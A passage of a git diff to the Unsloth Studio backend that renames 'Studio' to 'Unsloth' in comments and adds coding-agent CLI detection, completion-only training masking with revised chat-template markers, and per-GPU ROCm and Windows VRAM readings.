+        "Sidecar activation did NOT switch the in-process transformers to the model's 5.x version "
+        f"(active={parsed['active']}, preloaded-before-activation={parsed['preload']}). A pre-activation "
+        "transformers import (directly or via unsloth_zoo) defeated the sidecar; 5.x models (Qwen3.5, "
+        "GLM-4.7, gemma-4) then fail with 'Tokenizer class TokenizersBackend does not exist'. See #6951."
+    )
diff --git a/studio/backend/utils/_studio_release_build.py b/studio/backend/utils/_studio_release_build.py
index 267197a202..07ede36912 100644
--- a/studio/backend/utils/_studio_release_build.py
+++ b/studio/backend/utils/_studio_release_build.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Build-stamped Studio release metadata.
+"""Build-stamped Unsloth release metadata.
 
 Release builds may rewrite this module in the build workspace before creating
 Python artifacts. Keep the committed value neutral so source checkouts do not
diff --git a/studio/backend/utils/api_errors.py b/studio/backend/utils/api_errors.py
index cae8daf287..a3686c3a26 100644
--- a/studio/backend/utils/api_errors.py
+++ b/studio/backend/utils/api_errors.py
@@ -20,7 +20,7 @@ client-error responses on the ``/v1/*`` surface:
 CRITICAL: the exception handlers installed by :func:`install_api_error_handlers`
 are global, but they ONLY transform responses for paths that start with ``/v1/``.
 For every other path (``/api/...``, frontend routes) they reproduce FastAPI's
-default behavior byte-for-byte, because the Studio frontend depends on the
+default behavior byte-for-byte, because the Unsloth frontend depends on the
 ``{"detail": ...}`` shape for ``/api/*``.
 
 Public contract (other modules depend on these):
@@ -107,7 +107,7 @@ def anthropic_error_body(
 
     Returns ``{"type": "error", "request_id": None, "error": {"type", "message"}}``.
     ``request_id`` is a required (nullable) field on the spec's ErrorResponse;
-    Studio has no request-id system, so it is null. ``err_type`` defaults to
+    Unsloth has no request-id system, so it is null. ``err_type`` defaults to
     :data:`ANTHROPIC_TYPE_BY_STATUS` for ``status`` (``"api_error"`` fallback).
     """
     return {
@@ -192,7 +192,7 @@ def install_api_error_handlers(app) -> None:
     Both handlers are global but only transform responses for OpenAI/Anthropic-
     compatible surfaces (see :func:`wants_api_error_envelope`: the ``/v1/*`` mount
     and the preview ``/p/.../v1/*`` mount). Every other path reproduces FastAPI's
-    default ``{"detail": ...}`` behavior exactly so the Studio frontend keeps working.
+    default ``{"detail": ...}`` behavior exactly so the Unsloth frontend keeps working.
     """
 
     @app.exception_handler(RequestValidationError)
diff --git a/studio/backend/utils/client_ip.py b/studio/backend/utils/client_ip.py
index 94acbf1809..cc48a096d2 100644
--- a/studio/backend/utils/client_ip.py
+++ b/studio/backend/utils/client_ip.py
@@ -4,12 +4,12 @@
 """Resolve the caller's IP for rate limiting.
 
 Trust model, in order:
-  1. If the operator opts in via ``UNSLOTH_STUDIO_TRUST_FORWARDED`` (Studio behind
+  1. If the operator opts in via ``UNSLOTH_STUDIO_TRUST_FORWARDED`` (Unsloth behind
      their own reverse proxy), honor the *rightmost* ``X-Forwarded-For`` hop -- the
      one the trusted proxy appended. The leftmost entry is client-controlled and
      spoofable, so this assumes a proxy that appends (or overwrites) the header;
      only enable the env var behind such a proxy.
-  2. If the socket peer is loopback, honor ``CF-Connecting-IP``. Studio's managed
+  2. If the socket peer is loopback, honor ``CF-Connecting-IP``. Unsloth's managed
      Cloudflare tunnel terminates at 127.0.0.1, so every tunneled visitor would
      otherwise collapse onto the same socket peer (the local cloudflared process)
      and share one rate-limit bucket. ``CF-Connecting-IP`` is set by Cloudflare's
diff --git a/studio/backend/utils/coding_agents.py b/studio/backend/utils/coding_agents.py
new file mode 100644
index 0000000000..f7dd2f8357
--- /dev/null
+++ b/studio/backend/utils/coding_agents.py
@@ -0,0 +1,39 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Detect which `unsloth start <agent>` coding-agent CLIs are on PATH.
+
+The web UI only ever shows the user the "claude" flavor of the `unsloth start`
+command (see agent-command.ts), leaving anyone using Codex, OpenCode, and the
+other supported agents to manually edit the copied command. This module gives
+the frontend a way to ask which of those CLIs are actually installed so it can
+default to one the user can run immediately.
+"""
+
+import shutil
+
+# Keep in sync with the `unsloth start <agent>` subcommands defined in
+# unsloth_cli/commands/start.py. Each entry is the exact executable name that
+# subcommand launches, so a hit here means `unsloth start <agent>` can find the
+# binary on PATH without the user installing anything first.
+CODING_AGENTS: tuple[str, ...] = ("claude", "codex", "openclaw", "opencode", "hermes", "pi")
+
+
+def _is_on_path(agent: str) -> bool:
+    # shutil.which is documented to return None on a miss, but PATH lookups can
+    # still raise (e.g. a permission error while probing a directory entry);
+    # this is an advisory check, so a lookup failure should read as "not
+    # installed" instead of breaking the settings endpoint.
+    try:
+        return shutil.which(agent) is not None
+    except OSError:
+        return False
+
+
+def detect_installed_coding_agents() -> list[str]:
+    """Return the subset of CODING_AGENTS whose CLI binary is on PATH.
+
+    Order follows CODING_AGENTS, not discovery order, so callers can treat the
+    first entry as the preferred default among the installed agents.
+    """
+    return [agent for agent in CODING_AGENTS if _is_on_path(agent)]
diff --git a/studio/backend/utils/cpu_threads.py b/studio/backend/utils/cpu_threads.py
index 4ed0021054..91d577408d 100644
--- a/studio/backend/utils/cpu_threads.py
+++ b/studio/backend/utils/cpu_threads.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Early CPU thread-pool configuration for Studio processes."""
+"""Early CPU thread-pool configuration for Unsloth processes."""
 
 import os
 from typing import MutableMapping, Optional
diff --git a/studio/backend/utils/datasets/cache_safe.py b/studio/backend/utils/datasets/cache_safe.py
index e629210f33..d2dc7b737a 100644
--- a/studio/backend/utils/datasets/cache_safe.py
+++ b/studio/backend/utils/datasets/cache_safe.py
@@ -7,7 +7,7 @@ A shared HF datasets cache can contain subtrees owned by another user (for
 example populated by an earlier root-run job). datasets then raises
 "[Errno 13] Permission denied: ..._builder.lock" while locking the cached
 builder, killing the training run even though the dataset itself is fine.
-Retry such loads in a Studio-owned cache so the run proceeds; the worst case
+Retry such loads in an Unsloth-owned cache so the run proceeds; the worst case
 is one rebuild of the dataset in the fallback location.
 """
 
@@ -26,7 +26,7 @@ def studio_datasets_cache() -> str:
 
 
 def load_dataset_cache_safe(*args, **kwargs):
-    """datasets.load_dataset, retried in a Studio-owned cache on EACCES."""
+    """datasets.load_dataset, retried in an Unsloth-owned cache on EACCES."""
     from datasets import load_dataset
     try:
         return load_dataset(*args, **kwargs)
diff --git a/studio/backend/utils/datasets/completion_masking.py b/studio/backend/utils/datasets/completion_masking.py
new file mode 100644
index 0000000000..c7c4a474e3
--- /dev/null
+++ b/studio/backend/utils/datasets/completion_masking.py
@@ -0,0 +1,144 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Completion-only masking policy shared by the CUDA and MLX training paths.
+
+Decides how train_on_responses_only is applied for a model: chat template
+auto-detection first, manual TEMPLATE_TO_RESPONSES_MAPPER markers as the
+fallback. gpt-oss included: its quantized checkpoints ship a different
+chat template, so only detection from the actual template is reliable.
+"""
+
+from .model_mappings import (
+    MODEL_TO_TEMPLATE_MAPPER,
+    TEMPLATE_TO_RESPONSES_MAPPER,
+    is_gpt_oss_model_name,
+)
+
+
+def lookup_manual_markers(model_name):
+    """Return (template_name, instruction_part, response_part) from the
+    manual template table, with None parts when the model or template is
+    not mapped."""
+    template = MODEL_TO_TEMPLATE_MAPPER.get((model_name or "").lower())
+    markers = TEMPLATE_TO_RESPONSES_MAPPER.get(template) if template else None
+    if markers:
+        return template, markers["instruction"], markers["response"]
+    return template, None, None
+
+
+def apply_completion_masking(
+    trainer,
+    model_name,
+    train_fn,
+    num_proc = None,
+    notify = None,
+    detect_fn = None,
+):
+    """Apply completion-only masking with auto-detection first and the manual
+    template table as fallback.
+
+    Args:
+        trainer: The platform trainer (SFTTrainer or MLXTrainer).
+        model_name: Model repo id used for table lookup and the gpt-oss
+            renamed-checkpoint fallback.
+        train_fn: The platform train_on_responses_only callable.
+        num_proc: Forwarded to train_fn when not None (CUDA path only).
+        notify: Optional callback notify(level, message) with level "info" or
+            "warning" for user-visible progress and warnings.
+        detect_fn: Marker detector (tokenizer/processor) -> (instruction_part,
+            response_part). Defaults to unsloth_zoo's get_chat_template_parts,
+            which raises loudly when the template cannot be parsed. Test seam.
+
+    Returns:
+        (trainer, applied): the possibly wrapped trainer and whether masking
+        was applied. When applied is False the trainer is unchanged and
+        training runs on full sequences.
+
+    Only marker DETECTION failures trigger the table fallback. Exceptions
+    raised while applying the masking (dataset map, tokenization) propagate
+    to the caller in both the auto and manual paths, so a real failure stops
+    the run instead of silently changing the training objective.
+    """
+    if notify is None:
+        notify = lambda level, message: None
+    kwargs = {}
+    if num_proc is not None:
+        kwargs["num_proc"] = num_proc
+
+    template, instruction_part, response_part = lookup_manual_markers(model_name)
+
+    # gpt-oss goes auto-first: quantized/BF16 checkpoints ship a channel-less
+    # template, so the manual markers match nothing (zero tokens trained). Auto
+    # derives markers from whichever template ships, and per the harmony format
+    # only the final terminator carries stop supervision. Renamed checkpoints
+    # miss the exact-name table, so give the fallback the gpt-oss markers.
+    if is_gpt_oss_model_name(model_name) and not (instruction_part and response_part):
+        markers = TEMPLATE_TO_RESPONSES_MAPPER.get("gpt-oss")
+        if markers:
+            template = "gpt-oss"
+            instruction_part = markers["instruction"]
+            response_part = markers["response"]
+    processor = getattr(trainer, "processing_class", None) or getattr(trainer, "tokenizer", None)
+    # mlx-lm TokenizerWrapper hides underscore attrs, so preset _unsloth_*
+    # markers are invisible through it. Unwrap to the real tokenizer (as
+    # zoo's MLX resolver does) before the preset check and detection.
+    if type(processor).__name__ == "TokenizerWrapper":
+        wrapped = getattr(processor, "_tokenizer", None)
+        if wrapped is not None:
+            processor = wrapped
+    inner = getattr(processor, "tokenizer", processor)
+    if hasattr(inner, "_unsloth_input_part") and hasattr(inner, "_unsloth_output_part"):
+        # Markers preset on the tokenizer; zoo reuses them on a bare call.
+        trainer = train_fn(trainer, **kwargs)
+        notify(
+            "info",
+            "Train on responses only configured via tokenizer preset markers",
+        )
+        return trainer, True
+    auto_instruction = auto_response = None
+    try:
+        if detect_fn is None:
+            # Torch-backed import is fine: the MLX train_fn itself requires
+            # unsloth_zoo.dataset_utils, so a torch-free host cannot mask either way.
+            from unsloth_zoo.dataset_utils import get_chat_template_parts as detect_fn
+        auto_instruction, auto_response = detect_fn(processor)
+    except Exception as e:
+        notify(
+            "warning",
+            f"Auto-detection of instruction/response markers failed ({e}); "
+            f"falling back to the template table",
+        )
+    if auto_instruction and auto_response:
+        trainer = train_fn(
+            trainer,
+            instruction_part = auto_instruction,
+            response_part = auto_response,
+            **kwargs,
+        )
+        notify(
+            "info",
+            "Train on responses only configured via chat template auto-detection",
+        )
+        return trainer, True
+
+    if instruction_part and response_part:
+        trainer = train_fn(
+            trainer,
+            instruction_part = instruction_part,
+            response_part = response_part,
+            **kwargs,
+        )
+        notify(
+            "info",
+            f"Train on responses only configured with template table markers ({template})",
+        )
+        return trainer, True
+
+    notify(
+        "warning",
+        f"'Train on completions' could not be applied for {model_name}: no "
+        f"auto-detected or mapped instruction/response markers. Training "
+        f"will run on full sequences (prompts included).",
+    )
+    return trainer, False
diff --git a/studio/backend/utils/datasets/format_conversion.py b/studio/backend/utils/datasets/format_conversion.py
index 95c9a00534..9035068c01 100644
--- a/studio/backend/utils/datasets/format_conversion.py
+++ b/studio/backend/utils/datasets/format_conversion.py
@@ -406,10 +406,13 @@ def convert_to_vlm_format(
             elif _image_lookup is not None and image_data in _image_lookup:
                 # Bare filename → resolve via HF repo lookup
                 from huggingface_hub import hf_hub_download
+                from utils.hf_cache_settings import active_hf_hub_cache
+
                 local_path = hf_hub_download(
                     dataset_name,
                     _image_lookup[image_data],
                     repo_type = "dataset",
+                    cache_dir = active_hf_hub_cache(),
                 )
                 image_data = Image.open(local_path).convert("RGB")
             else:
@@ -774,10 +777,13 @@ def convert_sharegpt_with_images_to_vlm_format(
                     return Image.open(BytesIO(f.read())).convert("RGB")
             elif _image_lookup is not None and image_data in _image_lookup:
                 from huggingface_hub import hf_hub_download
+                from utils.hf_cache_settings import active_hf_hub_cache
+
                 local_path = hf_hub_download(
                     dataset_name,
                     _image_lookup[image_data],
                     repo_type = "dataset",
+                    cache_dir = active_hf_hub_cache(),
                 )
                 return Image.open(local_path).convert("RGB")
             else:
diff --git a/studio/backend/utils/datasets/llm_assist.py b/studio/backend/utils/datasets/llm_assist.py
index f7b35e2869..c594e883a8 100644
--- a/studio/backend/utils/datasets/llm_assist.py
+++ b/studio/backend/utils/datasets/llm_assist.py
@@ -58,6 +58,7 @@ def precache_helper_gguf():
     try:
         from huggingface_hub import HfApi, hf_hub_download
         from huggingface_hub.utils import disable_progress_bars, enable_progress_bars
+        from utils.hf_cache_settings import active_hf_hub_cache
 
         disable_progress_bars()
         logging.getLogger("huggingface_hub").setLevel(logging.WARNING)
@@ -76,7 +77,11 @@ def precache_helper_gguf():
                 + (f" (+{len(matching) - 1} shards)" if len(matching) > 1 else "")
             )
             for target in matching:
-                hf_hub_download(repo_id = repo, filename = target)
+                hf_hub_download(
+                    repo_id = repo,
+                    filename = target,
+                    cache_dir = active_hf_hub_cache(),
+                )
             logger.info(f"Helper GGUF cached: {len(matching)} file(s)")
         else:
             logger.warning(f"No GGUF matching variant '{variant}' in {repo}")
diff --git a/studio/backend/utils/datasets/model_mappings.py b/studio/backend/utils/datasets/model_mappings.py
index 463d26a692..65ba4b4688 100644
--- a/studio/backend/utils/datasets/model_mappings.py
+++ b/studio/backend/utils/datasets/model_mappings.py
@@ -485,9 +485,11 @@ TEMPLATE_TO_RESPONSES_MAPPER = {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # No "<think>" suffix: Qwen3-Thinking-2507 strips it from non-final turns
+    # and QwQ renders none, so a marker holding it masks those responses.
     "qwen3-thinking": {
         "instruction": "<|im_start|>user\n",
-        "response": "<|im_start|>assistant\n<think>\n",
+        "response": "<|im_start|>assistant\n",
     },
     "qwen3": {
         "instruction": "<|im_start|>user\n",
@@ -525,29 +527,39 @@ TEMPLATE_TO_RESPONSES_MAPPER = {
         "instruction": "<|im_start|>user<|im_sep|>",
         "response": "<|im_start|>assistant<|im_sep|>",
     },
+    # No surrounding spaces: in Mistral v0.3 they fold into neighbouring text
+    # tokens ("[INST]"/"[/INST]" are single special tokens), so padded strings
+    # never match and everything masks. Same for Llama-2's SentencePiece.
     "mistral": {
-        "instruction": "[INST] ",
-        "response": " [/INST]",
+        "instruction": "[INST]",
+        "response": "[/INST]",
     },
     "llama": {
-        "instruction": "[INST] ",
-        "response": " [/INST]",
+        # <s>-anchored: llama-2 tokenizes [INST] after <s> as bare "[" on
+        # transformers 5.x (standalone gives space-prefixed "▁["), so an
+        # unanchored marker misses every turn boundary there.
+        "instruction": "<s>[INST]",
+        "response": "[/INST]",
     },
     "chatml": {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # Leading newline required: Zephyr's role tags are plain text, and
+    # SentencePiece tokenizes "<|assistant|>" differently at text start than
+    # after "</s>\n". Without the "\n" anchor the markers never match real
+    # turns, so every assistant token masks.
     "zephyr": {
-        "instruction": "<|user|>\n",
-        "response": "<|assistant|>\n",
+        "instruction": "\n<|user|>\n",
+        "response": "\n<|assistant|>\n",
     },
     "unsloth": {
-        "instruction": ">>> User: ",
-        "response": ">>> Assistant: ",
+        "instruction": ">>> User:",
+        "response": ">>> Assistant:",
     },
     "vicuna": {
-        "instruction": "USER: ",
-        "response": "ASSISTANT: ",
+        "instruction": "USER:",
+        "response": "ASSISTANT:",
     },
     "alpaca": {
         "instruction": "### Instruction:\n",
@@ -573,16 +585,21 @@ TEMPLATE_TO_RESPONSES_MAPPER = {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # No trailing space: SentencePiece folds it into the next content token
+    # ("▁Hello"), so the padded marker never matches and masks everything.
     "starling": {
-        "instruction": "GPT4 Correct User: ",
-        "response": "GPT4 Correct Assistant: ",
+        "instruction": "GPT4 Correct User:",
+        "response": "GPT4 Correct Assistant:",
     },
     "yi-chat": {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # "[gMASK]<sop>" appears once at text start, so a marker holding it matches
+    # no later user turn; "<think>" is scaffolding GLM-4.x renders as a lone
+    # "</think>" on non-final turns, so "<|assistant|><think>" never matches.
     "glm": {
-        "instruction": "[gMASK]<sop><|user|>",
-        "response": "<|assistant|><think>",
+        "instruction": "<|user|>",
+        "response": "<|assistant|>",
     },
 }
diff --git a/studio/backend/utils/hardware/VRAM_ESTIMATION.md b/studio/backend/utils/hardware/VRAM_ESTIMATION.md
index a6b4de29d2..68ca1d5ffd 100644
--- a/studio/backend/utils/hardware/VRAM_ESTIMATION.md
+++ b/studio/backend/utils/hardware/VRAM_ESTIMATION.md
@@ -106,7 +106,7 @@ Non_flash_attention = B * num_attention_heads * S^2 * 2 * 12.0 * effective_layer
 Activations = max(Per_layer_with_gc, Non_flash_attention)
 ```
 
-Studio resolves the attention implementation with Unsloth's
+Unsloth resolves the attention implementation with Unsloth's
 `resolve_attention_implementation` helper and uses that result directly. The
 estimator does not duplicate model-family attention policy.
 
diff --git a/studio/backend/utils/hardware/amd.py b/studio/backend/utils/hardware/amd.py
index f5b64c45d0..91a06c9a2a 100644
--- a/studio/backend/utils/hardware/amd.py
+++ b/studio/backend/utils/hardware/amd.py
@@ -125,7 +125,7 @@ def _run_amd_smi(*args: str, timeout: int = _AMD_SMI_DEFAULT_TIMEOUT) -> Optiona
         # amd-smi does not exist on Windows (neither Adrenalin nor the HIP SDK
         # ship a CLI) and can be absent on minimal Linux installs. Disable the
         # poller in one step instead of burning the 3-strike circuit breaker
-        # on guaranteed FileNotFoundError spawns. Studio's VRAM display falls
+        # on guaranteed FileNotFoundError spawns. Unsloth's VRAM display falls
         # back to torch mem_get_info.
         if not _amd_smi_disabled:
             logger.info(
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index 8d6c919ebd..3d312d4b01 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -37,7 +37,7 @@ logger = get_logger(__name__)
 
 # ── GPU index ordering ──────────────────────────────────────────────────────
 # CUDA defaults to CUDA_DEVICE_ORDER=FASTEST_FIRST, numbering GPUs by compute
-# performance. nvidia-smi -- and every free-VRAM probe in Studio -- numbers GPUs
+# performance. nvidia-smi -- and every free-VRAM probe in Unsloth -- numbers GPUs
 # by PCI bus id instead. On a mixed-GPU host (e.g. an RTX 5090 alongside an RTX
 # PRO 6000) the two orderings disagree, so an index picked from nvidia-smi data
 # ("the emptiest card is GPU 1") gets written into CUDA_VISIBLE_DEVICES and then
@@ -49,6 +49,11 @@ logger = get_logger(__name__)
 # and spawn workers copy os.environ. setdefault so an explicit user override wins.
 os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID")
 
+# Unsloth workers can import MLX without importing unsloth first, so mirror the
+# package bootstrap here. Keep an explicit user value authoritative.
+if platform.system() == "Darwin" and platform.machine() == "arm64":
+    os.environ.setdefault("AGX_RELAX_CDM_CTXSTORE_TIMEOUT", "1")
+
 
 # ========== Device Enum ==========
 
@@ -112,7 +117,7 @@ def _has_mlx() -> bool:
 
 
 def _has_usable_mlx_stack() -> bool:
-    """True only when the FULL Studio MLX training/export stack is usable
+    """True only when the FULL Unsloth MLX training/export stack is usable
     (mlx + mlx-lm + mlx-vlm at the minimum versions unsloth-zoo requires), not
     just a bare ``import mlx.core``. A backtracked/old mlx-vlm still imports but
     breaks VLM Train/Export, so the training gate must match the self-heal's own
@@ -533,21 +538,31 @@ def _torch_get_physical_gpu_count() -> Optional[int]:
 
 
 def _torch_get_per_device_info(device_indices: list[int]) -> list[Dict[str, Any]]:
-    """Query torch for per-GPU name, total VRAM, and used VRAM."""
+    """Query torch for per-GPU name, total VRAM, and used VRAM.
+
+    ``used_gb`` is ``None`` on Windows ROCm when ``hipMemGetInfo`` reports
+    ``free == total`` (ROCm/ROCm#1909): that 0 means unknown, not empty.
+    """
     mod, _ = _torch_get_device_module()
     if mod is None:
         return []
 
+    # free==total is a Windows-ROCm-only quirk.
+    _win_rocm = sys.platform == "win32" and IS_ROCM
     devices = []
     for ordinal, phys_idx in enumerate(device_indices):
         try:
             # torch ordinals are 0-based relative to CUDA_VISIBLE_DEVICES.
             props = mod.get_device_properties(ordinal)
             total_bytes = props.total_memory
+            used_bytes: Optional[int]
             # Prefer mem_get_info (system-wide) so auto-select sees other consumers.
             if hasattr(mod, "mem_get_info"):
                 free_bytes, total_bytes = mod.mem_get_info(ordinal)
                 used_bytes = total_bytes - free_bytes
+                # free==total is the broken-API sentinel, not an idle GPU.
+                if _win_rocm and free_bytes == total_bytes:
+                    used_bytes = None
             else:
                 used_bytes = mod.memory_allocated(ordinal)
             devices.append(
@@ -556,7 +571,7 @@ def _torch_get_per_device_info(device_indices: list[int]) -> list[Dict[str, Any]
                     "visible_ordinal": ordinal,
                     "name": props.name,
                     "total_gb": round(total_bytes / (1024**3), 2),
-                    "used_gb": round(used_bytes / (1024**3), 2),
+                    "used_gb": round(used_bytes / (1024**3), 2) if used_bytes is not None else None,
                 }
             )
         except Exception as e:
@@ -719,20 +734,165 @@ def _rocm_linux_sysfs_vram_gb() -> tuple[Optional[float], Optional[float]]:
         return None, None
 
 
-def _rocm_windows_perf_counter_vram_gb() -> tuple[Optional[float], Optional[float]]:
-    """Query system-wide dedicated GPU VRAM via Windows Performance Counters.
+# 0x1002. NVIDIA's open kernel module also registers KFD nodes (vendor_id 0x10DE);
+# a non-AMD node is not a HIP device and must never take an ordinal.
+_AMD_PCI_VENDOR_ID = 4098
 
-    Same data source as Task Manager, so cross-process usage is accurate.
-    Works for any GPU vendor without amd-smi or nvidia-smi.
-    Returns (used_gb, total_gb) or (None, None) on failure.
+
+def _rocm_kfd_gpu_pci_ids() -> list[str]:
+    """PCI addresses of the GPUs ROCm enumerates, in HIP device order.
+
+    Reads /sys/class/kfd/kfd/topology/nodes/<N>/properties, the topology ROCm
+    itself enumerates from: AMD GPU nodes (simd_count > 0 excludes CPUs,
+    vendor_id == AMD excludes NVIDIA) in node-id order are HIP's device order, so
+    position N is ROCm physical device N. Unlike DRM sysfs, an amdgpu adapter HIP
+    cannot enumerate has no node here, so it never consumes an ordinal.
+
+    Returns [] (disabling the overlay) when KFD is absent, and FAILS CLOSED the
+    same way on any unreadable node or an AMD node with no location_id: dropping
+    one would shift every later ordinal and let a similar-capacity GPU pass the
+    total-size guard while showing another card's usage.
+
+    location_id is the kernel's (bus << 8) | devfn; domain is separate.
+    """
+    nodes: list[tuple[int, str]] = []
+    try:
+        node_dirs = glob.glob("/sys/class/kfd/kfd/topology/nodes/*")
+    except Exception:
+        return []
+    for node_dir in node_dirs:
+        m = re.fullmatch(r".*/(\d+)", node_dir)
+        if m is None:
+            continue
+        props: dict[str, int] = {}
+        try:
+            with open(os.path.join(node_dir, "properties")) as f:
+                for line in f:
+                    parts = line.split()
+                    if len(parts) == 2:
+                        try:
+                            props[parts[0]] = int(parts[1])
+                        except ValueError:
+                            continue
+        except OSError:
+            return []  # unreadable node could be a GPU: fail closed, don't shift
+        if props.get("simd_count", 0) <= 0:
+            continue  # CPU node, not a GPU
+        if props.get("vendor_id") != _AMD_PCI_VENDOR_ID:
+            continue  # non-AMD GPU node (NVIDIA open driver): not a HIP device
+        location_id = props.get("location_id")
+        if location_id is None:
+            return []  # an AMD GPU we cannot place: fail closed for the whole map
+        domain = props.get("domain", 0)
+        bus = (location_id >> 8) & 0xFF
+        devfn = location_id & 0xFF
+        bdf = f"{domain:04x}:{bus:02x}:{(devfn >> 3) & 0x1F:02x}.{devfn & 0x7}"
+        nodes.append((int(m.group(1)), bdf))
+    nodes.sort(key = lambda n: n[0])
+    return [bdf for _node_id, bdf in nodes]
+
+
+def _rocm_linux_amdgpu_cards() -> list[tuple[str, int, str]]:
+    """The amdgpu-bound DRM cards in PCI order: ``(pci_bdf, card_no, device_dir)``.
+
+    Membership is by the BOUND DRIVER, not the VRAM sysfs files: an AMD device
+    with incomplete sysfs support (some APUs expose no mem_info_vram_*) still
+    consumes a ROCm ordinal, and dropping it would shift every later card down.
+    PCI order is HIP's default enumeration order, so list position is the ROCm
+    ordinal; card_no is a stable tiebreak when the BDF cannot be resolved.
+
+    NOTE this is a superset of the ROCm-visible set (a HIP-unsupported amdgpu
+    adapter appears too), so callers must check the counts agree before assuming
+    a 1:1 mapping onto torch devices.
+    """
+    if platform.system() != "Linux":
+        return []
+    amd_cards: list[tuple[str, int, str]] = []
+    try:
+        for card_path in glob.glob("/sys/class/drm/card*"):
+            # Match card<N> exactly so connector nodes (card0-DP-1) are skipped.
+            m = re.fullmatch(r".*/card(\d+)", card_path)
+            if m is None:
+                continue
+            dev_dir = os.path.join(card_path, "device")
+            try:
+                driver = os.path.basename(os.path.realpath(os.path.join(dev_dir, "driver")))
+            except OSError:
+                continue
+            if driver != "amdgpu":
+                continue  # foreign adapter: not a ROCm device, takes no ordinal
+            try:
+                bdf = os.path.basename(os.path.realpath(dev_dir))
+            except OSError:
+                bdf = ""
+            amd_cards.append((bdf, int(m.group(1)), dev_dir))
+    except Exception:
+        return []
+    amd_cards.sort(key = lambda c: (c[0], c[1]))
+    return amd_cards
+
+
+def _rocm_linux_sysfs_vram_by_pci_gb() -> dict[str, tuple[float, float]]:
+    """System-wide AMD VRAM via Linux DRM sysfs, keyed by the card's PCI address.
+
+    Reads each card's mem_info_vram_{used,total} (kernel-updated across all
+    processes) so every GPU gets its own figure, unlike _rocm_linux_sysfs_vram_gb
+    which sums the host. Keyed by PCI address, not an ordinal, so the caller can
+    join it to _rocm_kfd_gpu_pci_ids() by identity: DRM card numbers include
+    foreign adapters and this set includes cards HIP does not enumerate, so any
+    ordinal from this list alone can be shifted relative to ROCm's. A card with
+    missing/unreadable/zero-total figures simply has no entry. Empty off Linux.
+    """
+    if platform.system() != "Linux":
+        return {}
+
+    try:
+        by_pci: dict[str, tuple[float, float]] = {}
+        for bdf, _card_no, dev_dir in _rocm_linux_amdgpu_cards():
+            if not bdf:
+                continue
+            try:
+                with open(os.path.join(dev_dir, "mem_info_vram_used")) as f:
+                    used_bytes = int(f.read().strip())
+                with open(os.path.join(dev_dir, "mem_info_vram_total")) as f:
+                    total_bytes = int(f.read().strip())
+            except (OSError, ValueError):
+                continue
+            if total_bytes <= 0:
+                continue
+            by_pci[bdf.lower()] = (
+                round(used_bytes / (1024**3), 2),
+                round(total_bytes / (1024**3), 2),
+            )
+        return by_pci
+    except Exception:
+        return {}
+
+
+# ── Windows AMD/ROCm per-adapter VRAM (issue #7072) ──────────────────────────
+# amd-smi is disabled and hipMemGetInfo reports free==total, so read used from the
+# per-LUID "GPU Adapter Memory" perf counters and take each total from torch, so
+# every GPU shows instead of one fake device with GPU 0's total.
+# Placeholder adapters (Basic Render Driver / idle iGPU) drop only when they would
+# outnumber the real torch devices.
+_ROCM_WIN_ADAPTER_MIN_BYTES = 64 * 1024 * 1024  # 64 MiB
+
+
+def _rocm_windows_perf_counter_vram_by_adapter() -> Optional[list[tuple[str, float]]]:
+    """Per-adapter dedicated VRAM usage on Windows via Performance Counters.
+
+    Returns ``[(instance_name, used_bytes)]`` (one per LUID-named adapter), or
+    ``None`` when the counter is unavailable/localized/empty so callers fall back.
     """
     if platform.system() != "Windows":
-        return None, None
+        return None
     try:
+        # Emit "<InstanceName>|<CookedValue>" per sample, or a __NONE__ sentinel.
         ps = (
             "$s=(Get-Counter '\\GPU Adapter Memory(*)\\Dedicated Usage'"
             " -ErrorAction SilentlyContinue).CounterSamples;"
-            "if($s){($s|Measure-Object CookedValue -Sum).Sum}else{-1}"
+            "if($s){$s|ForEach-Object{'{0}|{1}' -f $_.InstanceName,[int64]$_.CookedValue}}"
+            "else{'__NONE__'}"
         )
         r = subprocess.run(
             ["powershell", "-NoProfile", "-NonInteractive", "-Command", ps],
@@ -741,16 +901,167 @@ def _rocm_windows_perf_counter_vram_gb() -> tuple[Optional[float], Optional[floa
             timeout = 5,
         )
         if r.returncode != 0 or not r.stdout.strip():
-            return None, None
-        used_bytes = float(r.stdout.strip())
-        if used_bytes < 0:
-            return None, None
-        import torch as _torch
-
-        total_bytes = _torch.cuda.get_device_properties(0).total_memory
-        return round(used_bytes / (1024**3), 2), round(total_bytes / (1024**3), 2)
+            return None
+        adapters: list[tuple[str, float]] = []
+        for line in r.stdout.splitlines():
+            line = line.strip()
+            if not line or line == "__NONE__" or "|" not in line:
+                continue
+            instance, _, raw = line.rpartition("|")
+            try:
+                used = float(raw.strip())
+            except (ValueError, TypeError):
+                continue
+            if used < 0:
+                continue
+            adapters.append((instance.strip(), used))
+        return adapters or None
     except Exception:
-        return None, None
+        return None
+
+
+def _match_adapter_used_to_devices(
+    adapter_useds: list[float], device_totals: list[float]
+) -> list[Optional[float]]:
+    """Attribute per-adapter used bytes to torch devices by capacity ranking.
+
+    Windows shares no key between LUID counters and torch ordinals, so usages are
+    ranked against device totals and each is trusted only when capacity *forces* it
+    (it exceeds every smaller device); an ambiguous ranking reports unknown
+    (``None``) rather than fabricate a per-index free.
+
+    Extra counters mean a hidden/display adapter, and the noise filter may have
+    dropped a real reading, so values are emitted only when the supra-threshold
